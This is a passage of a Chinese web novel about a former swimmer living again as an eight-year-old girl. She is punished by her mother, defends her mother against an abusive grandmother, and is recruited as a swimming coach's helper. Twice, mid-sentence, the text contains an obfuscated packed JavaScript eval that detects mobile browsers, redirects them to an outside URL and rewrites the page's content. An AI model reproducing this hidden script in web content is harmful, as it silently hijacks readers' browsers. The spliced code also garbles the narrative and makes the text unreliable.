陶正明恍然大悟：“哥，还是你想得周到。” “那我这段时间就不主动教她什么东西，让她自己玩，这样其他家长不会有意见，我也可以观察观察她的情况。” 陶正华拍拍弟弟的肩膀：“自己把控这个度，我上面还有俩孩子在等着加训，我就先上去了。” 陶正明看着哥哥上楼的背影，突然福灵心至喊了一声：“哥，我可以的。” 陶正华没有说什么，只是回身给他比了个大拇指，随后加速跑上了楼。 8. 解释 补游了因为自己没有问清楚而多游的50米后，李诺霜先跟教练确认了一下自己刚才的这50算是完成了任务，简单拉伸活动舒缓肌肉以后，她就开始坐在看台上休息了。 两个小时的游泳课，说长不长，说短也不短。 对学习任务一个接一个的孩子们而言，当然是长的。 但对看台上的李诺霜而言，能自由放空自己的两个小时是短的，她还没怎么感觉到，就看到教练宣布了下课，让所有人去更衣室换衣服准备离开了。 换完衣服，李诺霜自觉地跟着朱美慧往家的方向走。 路上路过一个卖小面包的推车，段宏宇很直接地拉住了朱美慧的手：“妈妈，我饿了。” 朱美慧懂了他的意思，直接就买了两个面包，一个递给段宏宇，另外一个递给了李诺霜。 李诺霜有点懵：“阿姨，我没有饿。” “跟阿姨客气什么，我跟你妈那是多好的朋友，上班的时候你妈带过来的东西我可没少吃，你吃我一个面包算什么？” 李诺霜犹豫地看了一眼朱美慧，还是接过了这个面包。 要说饿吧，她确实也是有点饿了。 朱美慧看着俩孩子吃面包，拿出自己的手机给李凤兰打了个电话：“凤兰，他们孩子这边的游泳课完了，你现在是在家还是在公司呢？” “在家是吧，那行，我把孩子送你家去。” 挂了电话，朱美慧一手牵一个：“走吧，先送霜霜回家，然后咱们自己再回家。” 到家后，李凤兰看着是有点余怒未消的味道，朱美慧笑着把李诺霜推了过去：“凤兰，你还跟孩子生气呢。” “我跟她都聊过了，这孩子也知道自己今天是做错了，所以还问我要怎么跟妈妈道歉比较好。” “我觉得吧，孩子能意识到自己错了就是好事，咱们做家长的，也要给孩子及时改正的机会嘛。” “去吧，跟妈妈道歉去。” 李诺霜低着头走到了李凤兰的面前，声音不大不小地开始道歉。 “妈妈，对不起，今天在泳池是我不对，我知道错了，我以后再也不会了，希望妈妈可以原谅我，给我一次改正的机会。” 李凤兰低头看着认错的女儿，问出了那句天底下家长都会问出来的问题。 “你知道错了是吧，你错哪了？” 还好，李诺霜是有准备的人，她准备及时认错，不找借口。 “我不应该用那样的语气跟妈妈说话，不应该在水里憋气想吓您，我，我昨天练字不够认真，我前天吃菜剩了两块肥肉……“ 这时候，李凤兰摆摆手，追问了核心的关键问题。 上面这些都不是主要的问题，妈妈要你说实话。你为什么不愿意去游泳？” “不要撒谎，你找借口妈妈是可以听得出来的。” 李诺霜没敢抬头，准备极限找补编出来一个足够合理的理由搪塞过去。 但让她没想到的是，朱美慧见势不对，居然替她开口说话了。 “害，这事儿啊，其实也没什么复杂的。” “我在路上问了这孩子，她都跟我说了。” “她在家一个待着，下午你不在，她每次自己都偷偷摸摸看会儿动画片。” “我问她，那动画片你也可以别的时间看啊，为什么就非得不学游泳呢？” “你知道这孩子说什么不，她说那个动画片只在四点钟放，过了点就没有了。” “她之前是不是一直跟你说不想学游泳不想学游泳，但是又不跟你说理由？” “理由就这个，她怕你说了以后会打她。” 李凤兰神色莫辩：“霜霜，是这样吗？” 李诺霜还能说不是么，人都给她搭好梯子了，她该下还是得下。 “对。” “为什么要跟妈妈撒谎？你不知道撒谎是不对的吗？” “我知道，可是妈妈你知道我偷偷看电视会打我……” “你撒谎我就不打你了？” 李诺霜无言，只能保持沉默，毕竟她接下来要说的每一句话估计都是给李凤兰胖揍她叠buff。 “你说你怕挨打是吧，那今天就换个方式罚你。” “明天，你在家，给我练字，没练够20面的田字格，就不要给我吃饭，听到了没有。” “听到了。” 李凤兰并不是说罚了这个就算完事，只是因为朱美慧在，不好当着朱美慧的面打孩子而已。 跟朱美慧寒暄了一阵，在李凤兰的强烈要求下，朱美慧和段宏宇留在家里一起吃了一顿饭。 送走两人，李凤兰开始跟李诺霜算账了。 “站那，面对墙，给我站直。” 李诺霜老老实实地站到墙边，目睹李凤兰抄起鸡毛掸子，非常有压迫力地向她逼近。 介于这具身体实在是太怕疼了，她还是准备再垂死挣扎一下。 “妈妈，不是说罚了我写字就不打我了么？” “罚你写字那是对你看电视的惩罚，你只犯了撒谎这一个错误？” 李诺霜的屁股和大腿各挨了十下，按照这具身体的疼痛耐受能力，今天晚上反正她是别想躺下睡觉的了。 挨打的过程中，她倒是想表现得有骨气一点，至少不哭不闹吧，但是，人的意志暂时还是抵挡不过最本能的神经反应，是真的给她把眼泪都疼出来了。 打完了还不算完，李凤兰还得拿着个鸡毛掸子指着她的鼻子问：“以后还敢不敢了？” “现在都学会跟妈妈撒谎了是吧，你才多大，你就染得这一身的坏毛病？” 李诺霜擦了一把脸上流出来的鼻涕和眼泪：“妈妈我错了，我以后真的再也不敢了。” 正当李凤兰准备再教育教育女儿的时候，有人推门走了进来。 “凤兰，你干嘛呢？” 来的这人，也不能算是救星啊，不火上浇油都是运气好的了。 “妈，你怎么来了？” 是的，来人正是李凤兰的母亲，李诺霜的外婆。 在李诺霜的记忆里，对这个外婆没有什么太好的印象，在她有限的去外婆家里的记忆中，外婆明显更偏袒大舅舅家的姐姐和哥哥一些。 一个典型的例子是，外婆会说小孩子要从小学习做家务，小孩子过去过年，碗筷让小孩子洗。 对像原主这样的六七岁真小孩儿而言，一大家子吃完的碗筷，二三十个，负担还是略微有一点重了。 但是，要洗碗的只有她和大姨小姨家的表姐表弟，大舅舅家的表哥表姐都不用洗。 对此，外婆给出来的解释是，表哥表姐上小学高年级了，学习任务重，不应该做这种家务活。 这事，李诺霜也跟李凤兰说过，李凤兰没对这件事做任何评价，只说外婆是长辈要尊敬，以后只过年的时候去，平时没事尽量就不去了。 所以，其实李凤兰的母女关系是不太好的，但是原主年纪太小了，并不知道李凤兰母女关系不好的原因。 “你还认我这个妈啊？” “凤兰，我要是不来，你是不是还准备瞒着我啊？” “我没什么事瞒着你的。” “你真以为我这个当妈的老眼昏花了是吧，你早就离了婚了，离了婚了为什么不告诉我？” “要不是茂茂今天回来了跟我说他谈的朋友今天因为他姐姐是个离婚的，说我们家家教不好来跟他掰了，我都不知道这个事！” “我从小没少你吃也没少你穿，不知道你为什么长大了要来跟我讨债！” “你弟弟好不容易解决了工作，就盼着成家生孩子了，你这个时候离婚，你让你弟弟还怎么处朋友？” “你这日子怎么就一天都过不许去了？这不是有个女儿在家里吗？男人在外面玩，他总归是要归家的，你为了孩子就不能再忍一下？” “现在好了，你一离婚，害得我们一大家子出去以后都抬不起头，被人嗤笑，你弟弟看好的对象也黄了。” “你自己过不好日子，还想让一大家子陪着你也过不好，你现在高兴了？” 李诺霜不知道李凤兰听到这些话以后是什么感受，反正她拳头是硬了。 如果可以的话，她只想从李凤兰手里抢过那根鸡毛掸子，把这个老太婆打了出去。 说的都是什么强盗逻辑的屁话，你儿子找不到对象怪女儿离婚，你女儿没离婚的时候你儿子怎么就没找到对象呢？ 茂茂就是李诺霜的小舅舅，这个小舅舅的美名原主一个小孩子都听过，是个二流子，初中读不下去就出去混社会的货色，最擅长的就是从爹妈手里骗钱出去花。 这种臭傻X找不到对象不是他自己活该？至于说现在的工作，是给一家建筑公司当保安，回来还得跟爹妈吹牛说自己是在兄弟公司上班。 原主放学回来的路上还碰到过，原主叫小舅舅，人可是理都没理。 按理说好歹是有个工作了，应该可以摆脱之前的啃老生涯自食其力了吧，毕竟小城市生活成本也不高，住都是住家里，上班走不了几步路，吃饭都是跟家里一起吃，完全看不出来有什么花钱的地方。 但是这个小舅舅是有点牛X在身上的，有工作以后往家里要钱更理直气壮了，要么是跟兄弟联络感情要花钱，要么是谈朋友要花钱，工作以后花得反而比他以前混社会的时候还要更多了。 此前是个混社会的社会分子，现在的工作也不是特别好，人长得也一般，还是全家最矮的，找不到对象要怪姐姐离婚。 这可真是个甩锅大师。 你怎么不怪地球母亲没有一个海啸龙卷风台风淹死刮死吹死你，让你这么个东西继续活在世界上浪费空气呢？ 李凤兰非常的冷静，或者说，这么多年以来，她早就习惯了。 “妈，有什么事我们出去说，不要当着孩子的面聊这些。” 但这个老太婆今天好像确实是因为儿子找对象的事情黄了了以后有点子神经不正常，或者说她从来也没把李凤兰和李诺霜两个人放在心上过。 “有什么不能说的？就是因为她还小，就得告诉告诉她，长大了以后别学得跟你一样。” “不是你没能耐拴不住男人，她能这么点大的年纪就没了爸爸？” “霜霜你听外婆的，你妈没什么出息，自己家的男人都看不住，你长大以后别跟她一样。” 李诺霜忍不了了，本来她今天就一直很烦，这老太婆还一直叨叨叨，简直要烦死个人了。 说的话要是有点用，那她也就当尊老爱幼忍了，结果净说的这种应该进棺材的屁话，谁要浪费生命听这些啊。 她现在腿还疼着呢，只想赶紧洗个澡回床上趴着看能不能通过进入梦乡来摆脱疼痛，哪有这闲工夫跟着老太婆在这里掰扯这些。 “我妈最好了。” “我就要跟我妈妈学。” “没爸爸怎么呢？我妈就有爸爸吗？” 李诺霜自信慢慢，感觉自己这波直接绝杀。 老太婆确实疯求了，看起来是想扇她两巴掌的样子。 李诺霜老老实实挨李凤兰的打，是因为她今天确实觉得自己做得不对，该挨这顿打让李凤兰消气。 占了人家孩子的身体，还惹人家生气，是挺欠揍的。 但别的人想打她，她就不会乖乖就范了。 李诺霜直接往旁边的门口一个灵活的侧身，窜进门了以后她反手就把门给锁了。 你在外面拍门吧，反正我是不可能开门的。 但刚才那一下，也牵动了李诺霜的大腿伤，这一下给她疼得厉害，李诺霜大概是就倒抽了一口凉气。 房间里也没有红花油云南白药这些挨打必备神器，李凤兰打她的时候带了气，下手可不是很轻啊。 这要是不擦点药，明天早上起来以后估计会难熬。 如果是上辈子自己的身体，这种程度对李诺霜而言甚至都不能算个伤。 但现在，她现在就开始觉得大腿和屁股火辣辣得疼，有些站不住了。 还是干点别的缓解一下注意力吧。 李诺霜的视线转向了自己的书桌，看到了书桌上摆着的东西。 想起来了，明天还有二十版练字的艰巨任务呢，好歹今天先写点，给明天减轻一点压力吧。 她现在用的田字格是带拼音的田字格，因此，一版只有一共三十个字。 认真写的话，一版十分钟还是能搞定的。也应该能满足李凤兰对她练字的要求。 二十版，加起来就是六百个字，一共要花快四个小时的时间来写。 考虑到她目前的身体情况，肯定中途还得有休息，所以今天晚上她要是不努力，明天白天估计直到去游泳前，都得花在这个上了。 认认真真写了两版字，花的时间比李诺霜想象得还要长一点，桌上摆着的小闹钟已经悄然从七点半走向了八点，两版直接花掉了她快半个小时的时间，要命的是字真的没有写得多好看。 字丑也是真要命。 这半个小时里，外面吵架的声音一直就没停过。 说是吵架好像也不是很恰当，其实就是李凤兰被指着鼻子骂，基本没怎么还过口。 吵架过程中，李诺霜非常荣幸地喜提一个新称呼，小赔钱货，让她心中对她这个老太婆的厌恶更上了一层楼。 她感觉自已终于懂了那年省队里的一个姐姐听到她没有亲戚，过年不用回家以后会向她投来的羡慕眼光了。 有一些比较糟心的所谓亲戚的话，确实还不如没有来得好。 外面的纷争停止，是因为李凤兰选择了破败消灾，直接支援了弟弟五千块钱作为谈恋爱的经费，。 李诺霜感觉自己拳头都握紧了，五千块钱，李凤兰得卖多少东西才能赚回来这五千块钱。 老太婆上门要钱的时候就没有想过李凤兰一个人带孩子经济压力会很大吗？ 真是为了儿子不管女儿会不会喝西北风。 外面的声音停了，没过几分钟，李诺霜的房门被敲响了。 “霜霜，开门，我是妈妈。” 李诺霜老老实实的开了门。 “霜霜，你在里面干什么呢？” 李凤兰问道。李诺霜如实回答。 “妈妈，我刚才在里面练字呢。妈妈，外婆走了吗？” 李凤兰听得感觉有些好笑。 “你还知道她是你外婆啊！你刚才怎么跟她说话的？” “可是就算她是外婆，也不能随便骂你呀！” 李诺霜理直气壮的回答道。 “这是妈妈和外婆两个大人之间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562888|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情，你一个小孩子插什么嘴？” “以后不许再这样跟外婆说话了，听到了没有？” “妈妈是大人，遇到问题妈妈自己可以解决，不需要你的帮忙。” “你如果真的想帮妈妈的忙，你就每天好好学习，好好游泳，好好练字。” 李诺霜还想说些什么。 “妈妈，可是我刚才都听到了，外婆刚才骂我小赔钱货。” “这个词语不是什么好词语，你赶紧忘记。乖小孩是不会这么说话的。” 李凤兰转移了话题。 “妈妈刚才打了你，疼不疼？来让妈妈看看你。” 李凤兰掀开了李诺霜的裙子，立刻就看到了她的大腿上有非常清楚的伤痕。 “你这孩子怎么回事啊？平时打你一下你都叫的不行，其实你根本就没有受伤。今天妈妈打你打的这么重，你怎么都不跟妈妈说？” “你看看你现在肿成这个样子，今天晚上你要怎么睡觉？” “疼了你就跟妈妈说呀，妈妈只是想让你知道错误，又不是真的要给你打成什么样子。” 李诺霜不好意思的摸摸头。 “我觉得我是大孩子了，不好再像以前那样。” “我开学就三年级了，老师说三年级的小朋友就是中年级的学生了，要给低年级的弟弟妹妹做榜样。” “所以不能再像以前一样，随随便便就哭就闹。” 李凤兰听着这话，感觉又好气又好笑。 “你们老师跟你们说的道理，你怎么老是只听一半啊？” “今天下午还跟我闹呢。” 又提起今天下午的事情，李诺霜只能赶紧给保证。 “妈妈，我真的知道错了，我以后再也不会那样子了，你就原谅我吧！” “我早就已经不生气了。” “对了，妈妈还得跟你说一个事情。” “之后游泳，妈妈就没有办法送你去了。你跟朱阿姨现在也认识了之后，就是让朱阿姨带着你一起去，可以吗？” 这件事情，李诺霜倒是求之不得。 一方便，李凤兰不和她一起去游泳，她就不用担心自己会游泳的事情会暴露。 另一方面，李凤兰也确实需要更努力的工作，毕竟刚刚才支出了5000块钱的巨款。 所以李诺霜非常爽快地就答应了李凤兰的要求。 “好的呀！其实妈妈我自己也可以过去的，这里过去也不是特别的远。” “老师说了，让我们暑假期间好好锻炼自己的能力。我觉得我自己去学游泳也是一种锻炼啊。” 这件事情李凤兰是肯定不会答应她的。 “从我们家过去到游泳馆，要走的路实在是太久了，你一个人去的话，妈妈真的没有办法放心。” “所以你还是跟你朱阿姨一起去吧。” “妈妈也会在朱阿姨那里放一点钱。你如果游泳完了饿的话，就跟朱阿姨说，让朱阿姨给你买点东西吃，先垫着肚子。” “妈妈让你去学游泳，你就好好学，听到了没有？” “妈妈，我知道了。” 李诺霜应了声。李凤兰看着李诺霜身上的伤口，自己心里也有些心疼。 等李诺霜洗完了澡，李凤兰拿出家里的云南白药，轻柔地给李诺霜开始上药。 虽然李凤兰的动作很轻，但是李诺霜真的非常的怕疼。所以还是忍不住倒抽了几口冷气。 不过她有比较注意控制，没让李凤兰听到她的声音。 擦完了药，其实离李诺霜平时睡觉的时间也不是很久了。 “赶紧睡吧，明天还要完成你二十版写字练字的任务。” 李诺霜也是万万没想到，李凤兰居然还会在他睡前的时候跟她说这个。 她的二十版大字艰苦任务现在还剩十八版，通过刚才两版大字的练习，她早就已经从一开始的信心满满变成了现在的后悔。 到底是谁给她的信心，让她觉得二十版大字根本就不算个事儿的呢。 现在好了，一个小时才能写四版，明天得奋斗多久啊？ 真是想想就令人手疼的一件事。 这天晚上，李诺霜还是做噩梦了。 只不过，噩梦的内容和游泳没有一点关系。她梦见自己手里拿着一个像拖把一样的大毛笔，面前有一个广场。 她就站在广场的正中央，头顶上有一个人正在对着她说话。 “今天你如果不能把这个广场上所有的地砖上都写满字，你就别想回家了。” 李诺霜梦见自己在梦里一直写，一直写。但是她居然用的不是墨水，而是一桶清水。 结果她写完了前面的字，刚走到后面就变干了，一整个梦都是在做白工。 但这个梦最让人害怕的还不是这一点。 更让人害怕的是，她突然把自己的水桶打翻了，结果她一脚滑倒在地上，给自己摔了一个大屁股蹲儿，硬生生地把自己给疼醒了。 醒来以后李诺霜才知道刚才确实在做梦，但是现实里其实也没比梦好多少。 不知道是因为梦太可怕还是她睡觉乱动，总之她现在人躺在地上，而且很明显是屁股先着地，那件一个疼啊。 李诺霜挣扎着从地上爬了起来，眼前一片模糊。 别误会，并不是她刚才那一下给自己摔出了脑震荡。 而是因为生理上的疼痛，激起了她泪腺的自然反应，她又开始哭了。 抬头看了一眼书桌上放着的小闹钟，李诺霜瞬间感觉自己完蛋了。 现在居然已经是早上9点，这也就意味着她上午的时间只剩下了三个小时。 真是要命啊，为什么李凤兰出去上班的时候，没有直接把她叫醒来？ 擦干净自己的眼泪，李诺霜一路扶着墙走到了客厅。 客厅的餐桌上摆放着今天早上的早餐，是李凤兰给她蒸的饺子。 除了早餐以外，桌上还放着一张纸，被压在早餐的盘子下面。 李诺霜凑过去看了一眼，是李凤兰留给她的。 “霜霜，妈妈今天上班赶时间，所以没有叫你。早餐放在桌子上，你吃完了以后自己写作业。” “别忘了你的大字哦，妈妈回来是要检查的。” 李诺霜现在就见不得字这个字。一看到这个字，她就想起了昨天晚上的那个噩梦。 怎么会有用写字把一个广场的砖填满这种离谱的要求呢？ 这种梦，她都是怎么想出来的？ 说好这张纸，李诺霜决定接受现实。 早餐是要吃的。 吃完早餐以后，字也是要写的。 下午3:30，朱美慧和段宏宇准时过来敲李诺霜家的门。 李诺霜赶着过去把门打开，然后回来奋笔疾书写完了最后的两个字，整个人看起来比中了彩票还高兴。 段宏宇感觉她今天真的是有点奇怪。 “你今天怎么了？为什么看起来这么累的样子？” “你不应该比我还累呀！明明昨天我才是整整上了两个小时课的那一个人。你不是玩了好久吗？” 李诺霜长长的吐出一口气，说道。 “你不懂，我是付出了说谎的代价。” “我以后再也不跟妈妈说谎了。” 9. 助教 段宏宇看起来是还想探究一下事实的真相的样子，李诺霜不准备给他这个机会了。 “朱阿姨，我们可以出发啦，从我家过去好像也不是很近，我有点怕迟到。” 段宏宇小嘚瑟了一下：“走路当然慢，可是我妈今天开了车过来哦。” “早点去也没坏处。” 朱美慧看着俩小孩打嘴仗，只觉得好笑。 李诺霜东西是中午吃饭的时候就收拾好了的，这次她带的东西更充分，泳衣泳帽泳镜，糖盐水，俩水果一根香蕉一个苹果，还带了一个用来装垃圾的垃圾袋。 东西就放在沙发上，她一拎就可以直接走人。 不过，她走路的姿势引起了两人的注意，朱宏宇秉持着有话就问的原则直接开口了。 “你走路为什么这个样子？” “脚疼。” “为什么会脚疼？” 这小孩儿怎么这么爱刨根问底，能不能少吃点《十万个为什么》？ 朱美慧作为家长，倒是很清楚这是为什么，不过她也不会去揭穿就是了。 段宏宇很疑惑：“为什么会脚疼呢？为什么我也去游泳了我脚不疼呢？” 这家伙，也是真好意思提啊。 李诺霜上上下下扫他一眼：“你确定你昨天在游泳？” “那怎么不是游泳了，教练都说了，学游泳一步一步来，你不要因为自己先走了几步就看不起我们走得慢的，说不定我们学会以后游得比你还好还标准。” 是么，那挺好。她速度上虽然不行，但是动作她敢说国内找不出几个技术比她先进的了。 毕竟体育技术可以说按照一定的周期在进行革新和调整，国内游泳现在的顶尖运动员跟国际上相比，技术都不够先进，就别提跟再之后的新技术来比了。 所以，通过十五天的一个游泳技术能超过她，等于中国游泳紫微星就此降世。 当然，有雄心壮志是好的，得鼓励。 “那挺好，你加油。” 一拳打棉花上了，段宏宇觉得有点不得劲。 昨天朱美慧回家以后就说他了，让他不要欺负妹妹，妹妹还教他游泳呢。 这可把段宏宇给委屈坏了，到底是谁在欺负谁啊，怎么看怎么觉得没讨到好的是他吧。 想到偶尔朱美慧会在家开玩笑，说要不是他爸的工作性质限制，早就给他生个妹妹了，段宏宇就更加悲从中来了。 他真的发自内心觉得李诺霜不像她表现出来的这个样子，不知道他老妈怎么就从这个人身上看出来可爱了，他亲爱的老妈到底是被什么蒙蔽了双眼？ 在这个时间点，还没有对儿童安全座椅产生重视，甚至在这座小城，马路的很多路段上连人行横道都没有，行人过马路全靠和司机之间的‘默契’。 大腿上的疼痛经过了一夜加大半天的缓解，处在一种似疼不疼的状态，你如果骤然坐下或者说坐下一段时间后站起来，或者刚开始走路，那肯定是疼的。 所以，李诺霜除了刚坐下的时候倒抽了一口凉气，之后其实是没什么太大的感觉的。 问题并不处在这里，她本来是打算在车上小睡个十来分钟的，毕竟今天中午为了写大字，她没午睡。 但是疼的那个劲儿要是过去了，就问题不大。 可惜，五分钟里朱美慧被迫踩了三次急刹车，一次是因为前面有人，一次是因为有车突然变道，还有一次是一辆开得特别野的三轮车。 这会儿，三轮车确实是路霸级别的王者，路上没有什么交通法，只有三轮车司机的想法，他们想在各条道里乱窜就窜，想无视红灯就无视红灯，甚至还能在大白天给你玩漂移，突出一个无所畏惧。 这三下给李诺霜造的，她是想淡然面对，但身体本能不允许，给她刹得眼泪汪汪的了。 一转头，就看到了段宏宇像看什么稀有动物一样地看着她：“你怎么了？” 李诺霜现在已经能熟练做到心情跟生理性疼痛互相割裂，不会像刚来时一样，被自己的身体疼痛感知度吓到心里种满一片的大草原。 草原上的草主要有一下几种——这都能疼真是艹，这都会哭受不了艹，这都不能忍我还能干点啥艹。 现在的李诺霜基本实现了全部除草计划，眼睛流泪不妨碍我继续，流出来了擦不就完事。 “腿疼。” “你，是真的疼？” “不然呢。” 李诺霜双手用力握住了车门上的把手，只想在接下来或许会到来的急刹车时减缓一点对大腿和臀部的影响。 早知道这样还不如让李凤兰打她小腿呢，小腿后面也有点肉，坐着的时候还不会被蹭到，多好。 七次急刹车后，终于迎来了正常角度的刹车，到地儿了。 下车时李诺霜两条腿都抖了一下，好歹是强行稳住了没让自己摔。 “你怎么都不扶妹妹一下，没看到妹妹今天走路不是很方便么？” 天降黑锅一口，段宏宇欲辩又止。 换完泳衣，其实时间也差不多到了前一节课的下课时间，李诺霜站在看台上看了一眼，确实跟她想的差不多，这几课的内容就是复习呼吸，水中漂浮，进度快的加一点自由泳腿的基本动作让回去练习。 其实正常而言，对这个年纪的孩子，教练是会加点类似水中行走的内容的。 但这边的泳池没有儿童池，虽然水只放到一米八，可一米八这个高度，大部分家长下去也得没头顶，这还走啥，能直立碰到泳池底就算胜利了。 池边虽然有一个宽一点的边，但是水深也有一米四，下去以后还是会没顶，完全不满足做这个练习的必要条件。 所以，利用水中行走让大家感受水阻和水流的体验课程就被取消了。 李诺霜换完泳衣后和其他人一起做了岸上的热身活动，然后她就准备进池子里游完今天的蛙自二百以后自由仰泳。 没想到，她人还没进池子，就先被教练给叫住了。 “那个，那个李诺霜，你来一下。” 李诺霜迷茫地走到教练面前：“啊？教练？不是说让我自由活动吗？” “你给大家示范一下水中漂浮。” 这教练，倒是挺会抓壮丁的。 确实让李诺霜示范或许比他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562889|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己示范效果更好一些，因为李诺霜跟现在学的这些人是同龄，更能激起他们的学习兴趣。 其实昨天的水中团身就是水中漂浮的其中一种姿势，今天估计是教俯卧或者仰卧。 “教练，要哪种，俯卧还是仰卧？” “仰卧。” 仰卧那还整挺好，这是一种自漂浮最常用的姿势，和其他两种相比，这种姿势在漂浮的时候甚至不需要闭气，因为只要你身位把握得当，其实你的鼻子和嘴巴都是露在外面的，可以自由呼吸。 练习这种水中漂浮，最需要过的就是心理关，刚下水的时候不要因为飘不起来或者鼻子嘴巴被水淹了一下就剧烈挣扎，冷静地调整好身体的位置，就能正常漂浮在水中。 李诺霜跳下了水，调整好位置后漂浮在水面上，表情十分惬意。 “同学们，今天我们要学习的第一个课程，就是我们水里的同学示范的漂浮课程。” “不过，在此之前，我们首先要复习一下我们昨天学过的内容，关于呼吸和团身的练习。” “今天呢，我们大部分同学的爸爸妈妈都没有进来，所以，能不能在没有爸爸妈妈帮助的情况下完成今天的课程，就是对我们的新考验了。” 教练让其他同学排队去取浮板，自己对着水里跑得看起来要睡着的李诺霜说话。 “可以了，你上来吧。” 李诺霜是真的差点睡着，反应了一下以后才重新游上岸。 “教练跟你商量个事情，这三十天你来当我的小帮手，我一天给你十块钱的零花钱，你觉得怎么样？” 李诺霜第一反应就是提起警惕。 这可是零五年，她家楼下的小炒芹菜炒香干卖三块钱的05年，这年代游泳教练就这么赚了？居然敢给一个孩子这么多钱，肯定有所图。 陶正明预想中的场景是李诺霜一脸欣喜地答应，结果李诺霜看他的眼神像看什么犯罪分子。 到底是哪里出了差错？这不应该啊。 “不用了吧教练，妈妈说小孩子身上不能带太多的钱。” 陶正明并不准备放弃：“要不这样吧，你给我当小帮手，等课程完成以后，我按照你给我当小帮手的表现情况，把你这次学游泳的学费按照你的表现退给你妈妈，最高可以全退，你觉得怎么样？” 李诺霜本来是不准备答应的。 但是她又想到了李凤兰昨天晚上被人摸了放在门口藏着的备用钥匙指着鼻子一顿骂，又被人耀武扬威地拿走五千块钱的身影，她可耻地心动了。 为了妈妈，赚这二百四，不丢人。 再说了，就算这个教练有什么别的想法，她又不是真的小孩子，不跟他单独接触，不相信他的糖衣炮弹，其他的，总有办法防备的嘛。 李诺霜很快说服了自己，向教练伸出一只手。 陶正明以为她是要击掌，就和她拍了一下手。 结果李诺霜完全不是这个意思。 “教练，我听妈妈说，这种算我给你打工，你要给我合同的。” 陶正明人都傻了，这孩子多大，问她要合同？你有没有想过你是个童工啊？ 10. 折磨 合同当然是没有的，书面协议也是没有的，毕竟李诺霜今年才八岁，妥妥的无民事行为能力人。 陶正明倒是没准备赖：“或者你可以明天让你妈妈过来一趟，我可以跟你妈妈签一个协议。” 李诺霜已经颓了：“算了。” “或者我也可以每天给钱给你，你结束了以后再一起给你妈妈也是一样的。” 这倒是个好办法，李诺霜同意了。 就这样，小李助教本日新鲜上岗，她的任务主要是三个方面。 第一个，给其他学游泳的学员做示范，第二个，帮教练看有谁的动作不标准，及时地给教练打报告，第三个，池子里小孩儿的数量有点多，可能有小孩儿呛水教练看不到，李诺霜负责及时大声把教练喊过来救人。 挺好，听起来是三个任务，其实任务一点也不重，等于每天白赚两顿饭钱，还是带肉的那种。 李诺霜干劲满满了，以前她只被比她年纪大或者先进队的哥哥姐姐们盯过训练，还从来没有盯过别人训练。 主要也是她自己还没到成为组里大前辈的年纪就退役了，后面年纪小的弟弟妹妹一般都是跟她一起玩，盯训练她还是有些资历不够。 所以，李诺霜还真有点小兴奋，认认真真地给其他人示范了水中漂浮的动作，怕其他人看不清，她还特意放慢了速度。 她觉得示范整挺好，实际上岸上的人还是懵的，怎么就飘起来了？怎么就能稳住不动？为什么呢？ 陶正明看到这场面，只能是长舒了一口气，给了把钥匙给李诺霜，让她去仓库里把浮板抱出来，到时候看有谁在水里飘不稳，就往下面送一块浮板帮助稳定。 仓库里浮板在好几个区域都放着有，李诺霜找到了写着下午四点的浮板，把这些浮板分几次运送了出来。 这些浮板不止在漂浮的时候能派上用场，等到之后学自由泳腿的时候，估计也得人手发一个，手握着浮板练自由泳腿。 陶正明的教学计划里，两种漂浮所占的时长是比较长的。 因为自由泳是基于俯卧漂浮的体位来进行的，而仰卧漂浮因为口鼻露出水面，对大家克服对水的恐惧，更适应水中环境很有帮助。 但是，一个简单的仰卧他得花三十几分钟去教，也是让他有点没想到。 睡觉啊，就是在水上纯睡觉啊！ 泳池里的‘后进生’还有仨，段宏宇赫然在列，说明这哥们，确实跟水有些八字不合。 李诺霜作为一个勤劳的小助教，已经把这仨后进生都扒拉到了自己周围，呈现一个三角型，她自己飘在这个三角形的中心位置，方便任何人挣扎的时候她及时地递个浮板过去。 平心而论，段宏宇并不是三个人里挣扎得最厉害的，最厉害的是个看起来有点肉感的小胖墩。 按理说，肥肉的密度比肌肉轻，他应该更容易感受到水的浮力才是。 可是，他却是下水以后挣扎得最厉害的一个，尤其是他体重大占地面积也宽，挣扎起来那个水花也是四溅，李诺霜过去给他垫浮板帮助他稳定的时候真是没少被“洗礼” 如果只是他一个人挣扎也就算了，他的这种恐惧还容易感染到其他人，另外一个也害怕的小姑娘听着他那么剧烈的惨叫，悲从中来，直接吓哭掉了。 段宏宇则是另一个极端，他每次一害怕就会开启碎碎念模式，不受控制地话会变得特别多，一说话身体肌肉有反应就更不稳定，哪怕李诺霜已经够眼疾手快了，也没能成功让他避开所有的呛水。 这半个小时下来，李诺霜感觉自己心很累。 主要是她不太懂，仰卧漂浮已经是最容易的漂浮了，明明这仨也能自己在水上漂那么个半分钟的，怎么就稍微一有波动就开始害怕呢？ 动那一下人又不会翻，你自己不乱动，很快重心就可以稳定的。 哪怕是口鼻短暂地进了一下水，这也问题不大啊，前一堂课大家都学了呼吸，今天也进行了复习，水里哪怕泡个十秒二十秒的，也没什么问题。 而且，她还纳闷一点，明明说好的是小帮手，现在她把学不会的老大难都管了，那她不就成了攻坚组了么？ 是不是该给她加点钱？ 其他人这堂课都学得蛮好的了，教练开始给他们讲解俯卧漂浮的要点，三个喝了不少水的老大难也上了岸缓缓，主要是再继续往下喝也有点喝不太下了，得缓缓。 